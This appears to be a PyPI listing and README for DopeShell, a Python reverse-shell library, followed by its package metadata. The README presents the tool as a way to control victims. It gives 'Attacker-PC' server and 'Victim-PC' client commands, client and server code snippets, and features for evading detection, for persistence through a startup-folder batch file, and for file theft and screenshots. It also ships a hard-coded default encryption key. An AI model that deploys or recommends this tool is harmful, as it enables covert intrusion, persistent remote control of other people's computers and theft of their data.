# **DopeShell**



## **Introduction**
**DopeShell** is a Python library designed to simplify the creation of secure reverse shells with advanced features like session management, encryption, multiple connections, and obfuscation techniques. This library provides an easy-to-use interface for setting up both the client and server sides of a reverse shell, with the ability to manage multiple sessions, simulate command-line prompts, and more.
## **Features**
- **Encrypted Communication**: Utilizes AES encryption to secure data transmitted between the client and server.
- **Session Management**: Handles multiple active sessions and allows the server operator to switch between them.
- **Command Prompt Simulation**: The reverse shell simulates the target's command-line interface, making it appear as if the commands are being executed locally.
- **Obfuscation Techniques**: Implements basic obfuscation to avoid detection by security systems.
- **Customizable**: Easily configure host, port, and encryption key via command-line arguments.
- **Persistence**: Easily set up persistence by saving a batch file in the startup folder to ensure reconnection on boot
- **Useful commands**: Provides useful commands like download, upload, screenshot to enhance interactivity of the shell
## **Directory Structure**
The project is organized as follows:
- **setup.py**: Contains the package configuration for installation.
- **README.md**: This documentation file.
- **LICENSE**: The project's license file.
- **dopeshell/**: The main package directory containing the server and client scripts.
## **Installation**
### **Prerequisites**
- **Python 3.7+**
- **pip** (Python package manager)
### **Installing DopeShell**
You can install `DopeShell` using `pip`:
```bash
pip install DopeShell
```
### **Building DopeShell**
If you want to build it yourself, you can use the following commands:
```
1. git clone https://www.github.com/anonymous300502/DopeShellPyPi
2. python setup.py sdist bdist_wheel
3. pip install dist/DopeShell-1.1.1-py3-none-any.whl (Replace the .whl file with the file in your dist directory)
```
## **Usage Instructions:**
#### **On the Attacker-PC, Run the following commands:**
```bash
dopeshell-server --host 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"
```
*Note:*<br>
- Dopeshell uses "myverystrongpasswordo32bitlength" as the default key so you can skip the --key argument if you wish to use the default key, but we recommend using your own custom key which should be **32 bits** long.
- If you omit the --host and --port arguments, It uses '0.0.0.0' as the default IP address and '4444' as the default port.
#### **On the Victim-PC, Run the following commands:**
```bash
dopeshell-client --server-ip 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"
```
*Note:*<br>
- The server ip and port arguments are **required** here, If a custom key was used in the server it should be mentioned using the --key argument. If a custom key is not used in the server side startup command, It will use the default key automatically.
### **Usage commands:**
- switch NUMBER [To switch between available sessions]
- exit [To exit the session] <br><br><br>
- persist [Set up persistence to enusre connection on reboot]<br><br><br>
*Image1- initializaiton*

*Image2- Running commands*
<br><br><br>
*Image3- Switching between sessions* <br>
<br><br><br>
*Image4- Setting up persistence* <br>
<br><br><br>
*Image5- In-Shell commands* <br>

### **Here are sample snippets if you wish to use the library in your own code:**
- test_server.py
```python
from DopeShell import DopeShellServer
key = b'myverystrongpasswordo32bitlength'
server = DopeShellServer('0.0.0.0', 4444, key)
server.run()
```
- test_client.py
```python
from DopeShell import DopeShellclient
key = b'myverystrongpasswordo32bitlength'
server = DopeShellclient('192.168.1.11', 4444, key)
server.run()
```
### **Contributing**
- Contributions are welcome! To contribute:
- Fork the repository.
- Create a new branch for your feature/bugfix.
- Write tests for your changes.
- Submit a pull request.
- Please ensure your code adheres to the project's coding standards.
### **License**
This project is licensed under the MIT License. See the LICENSE file for details.
### **Contributors:**<br>
[Manaswi Sharma](https://www.github.com/manaswii)
### **Contact Information**
For issues, questions, or suggestions, please contact:
Email: 170mailmea@gmail.com<br>
GitHub: https://github.com/anonymous300502
Raw data
{
"_id": null,
"home_page": "https://github.com/anonymous300502/DopeShellPyPi",
"name": "DopeShell",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.7",
"maintainer_email": null,
"keywords": null,
"author": "Abhishek Sharma, Manaswi Sharma",
"author_email": "170mailmea@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/51/05/13f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7/DopeShell-2.0.1.tar.gz",
"platform": null,
"description": "# **DopeShell**\r\n\r\n\r\n\r\n\r\n## **Introduction**\r\n\r\n**DopeShell** is a Python library designed to simplify the creation of secure reverse shells with advanced features like session management, encryption, multiple connections, and obfuscation techniques. This library provides an easy-to-use interface for setting up both the client and server sides of a reverse shell, with the ability to manage multiple sessions, simulate command-line prompts, and more.\r\n\r\n## **Features**\r\n\r\n- **Encrypted Communication**: Utilizes AES encryption to secure data transmitted between the client and server.\r\n- **Session Management**: Handles multiple active sessions and allows the server operator to switch between them.\r\n- **Command Prompt Simulation**: The reverse shell simulates the target's command-line interface, making it appear as if the commands are being executed locally.\r\n- **Obfuscation Techniques**: Implements basic obfuscation to avoid detection by security systems.\r\n- **Customizable**: Easily configure host, port, and encryption key via command-line arguments.\r\n- **Persistence**: Easily set up persistence by saving a batch file in the startup folder to ensure reconnection on boot\r\n- **Useful commands**: Provides useful commands like download, upload, screenshot to enhance interactivity of the shell\r\n\r\n## **Directory Structure**\r\n\r\nThe project is organized as follows:\r\n- **setup.py**: Contains the package configuration for installation.\r\n- **README.md**: This documentation file.\r\n- **LICENSE**: The project's license file.\r\n- **dopeshell/**: The main package directory containing the server and client scripts.\r\n\r\n## **Installation**\r\n\r\n### **Prerequisites**\r\n\r\n- **Python 3.7+**\r\n- **pip** (Python package manager)\r\n\r\n### **Installing DopeShell**\r\n\r\nYou can install `DopeShell` using `pip`:\r\n\r\n```bash\r\npip install DopeShell\r\n```\r\n\r\n### **Building DopeShell**\r\nIf you want to build it yourself, you can use the following commands:\r\n```\r\n1. git clone https://www.github.com/anonymous300502/DopeShellPyPi\r\n2. python setup.py sdist bdist_wheel\r\n3. pip install dist/DopeShell-1.1.1-py3-none-any.whl (Replace the .whl file with the file in your dist directory)\r\n```\r\n\r\n\r\n## **Usage Instructions:**\r\n#### **On the Attacker-PC, Run the following commands:**\r\n```bash\r\ndopeshell-server --host 192.168.1.11 --port 4444 --key \"myverystrongpasswordo32bitlength\"\r\n```\r\n*Note:*<br>\r\n- Dopeshell uses \"myverystrongpasswordo32bitlength\" as the default key so you can skip the --key argument if you wish to use the default key, but we recommend using your own custom key which should be **32 bits** long.\r\n- If you omit the --host and --port arguments, It uses '0.0.0.0' as the default IP address and '4444' as the default port.\r\n\r\n#### **On the Victim-PC, Run the following commands:**\r\n```bash\r\ndopeshell-client --server-ip 192.168.1.11 --port 4444 --key \"myverystrongpasswordo32bitlength\"\r\n```\r\n*Note:*<br>\r\n- The server ip and port arguments are **required** here, If a custom key was used in the server it should be mentioned using the --key argument. If a custom key is not used in the server side startup command, It will use the default key automatically.\r\n\r\n### **Usage commands:**\r\n- switch NUMBER [To switch between available sessions]\r\n- exit [To exit the session] <br><br><br>\r\n- persist [Set up persistence to enusre connection on reboot]<br><br><br>\r\n\r\n*Image1- initializaiton*\r\n\r\n*Image2- Running commands*\r\n<br><br><br>\r\n*Image3- Switching between sessions* <br>\r\n<br><br><br>\r\n*Image4- Setting up persistence* <br>\r\n<br><br><br>\r\n*Image5- In-Shell commands* <br>\r\n\r\n\r\n### **Here are sample snippets if you wish to use the library in your own code:**\r\n- test_server.py\r\n```python\r\nfrom DopeShell import DopeShellServer\r\n\r\nkey = b'myverystrongpasswordo32bitlength'\r\n\r\nserver = DopeShellServer('0.0.0.0', 4444, key)\r\nserver.run()\r\n```\r\n- test_client.py\r\n```python\r\nfrom DopeShell import DopeShellclient\r\n\r\nkey = b'myverystrongpasswordo32bitlength'\r\n\r\nserver = DopeShellclient('192.168.1.11', 4444, key)\r\nserver.run()\r\n\r\n```\r\n\r\n### **Contributing**\r\n- Contributions are welcome! To contribute:\r\n- Fork the repository.\r\n- Create a new branch for your feature/bugfix.\r\n- Write tests for your changes.\r\n- Submit a pull request.\r\n- Please ensure your code adheres to the project's coding standards.\r\n\r\n\r\n### **License**\r\nThis project is licensed under the MIT License. See the LICENSE file for details.\r\n\r\n### **Contributors:**<br>\r\n[Manaswi Sharma](https://www.github.com/manaswii)\r\n\r\n### **Contact Information**\r\nFor issues, questions, or suggestions, please contact:\r\n\r\nEmail: 170mailmea@gmail.com<br>\r\nGitHub: https://github.com/anonymous300502\r\n",
"bugtrack_url": null,
"license": null,
"summary": "A Python library for creating secure reverse shells with session management and encryption.",
"version": "2.0.1",
"project_urls": {
"Homepage": "https://github.com/anonymous300502/DopeShellPyPi"
},
"split_keywords": [],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "7f1dcc432a5348cd3cdc9572d7c4c8cfd2729e89eeec7c2d4ff444270c6643dc",
"md5": "697442fbbccd3c049fab629626610a4b",
"sha256": "14ed3deff533782f04a327fb7c1adc595baea74d841bc2db60fe68f70f024287"
},
"downloads": -1,
"filename": "DopeShell-2.0.1-py3-none-any.whl",
"has_sig": false,
"md5_digest": "697442fbbccd3c049fab629626610a4b",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.7",
"size": 11583,
"upload_time": "2024-08-29T15:40:26",
"upload_time_iso_8601": "2024-08-29T15:40:26.151982Z",
"url": "https://files.pythonhosted.org/packages/7f/1d/cc432a5348cd3cdc9572d7c4c8cfd2729e89eeec7c2d4ff444270c6643dc/DopeShell-2.0.1-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "510513f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7",
"md5": "46e5ff2d3a850ccab8ff21ef26581066",
"sha256": "1eaa6375e49ab8e95f9446038b8aeaad9b0608d13a40c345f3078fe83dfe09ed"
},
"downloads": -1,
"filename": "DopeShell-2.0.1.tar.gz",
"has_sig": false,
"md5_digest": "46e5ff2d3a850ccab8ff21ef26581066",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.7",
"size": 10119,
"upload_time": "2024-08-29T15:40:27",
"upload_time_iso_8601": "2024-08-29T15:40:27.323221Z",
"url": "https://files.pythonhosted.org/packages/51/05/13f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7/DopeShell-2.0.1.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2024-08-29 15:40:27",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "anonymous300502",
"github_project": "DopeShellPyPi",
"travis_ci": false,
"coveralls": false,
"github_actions": false,
"lcname": "dopeshell"
}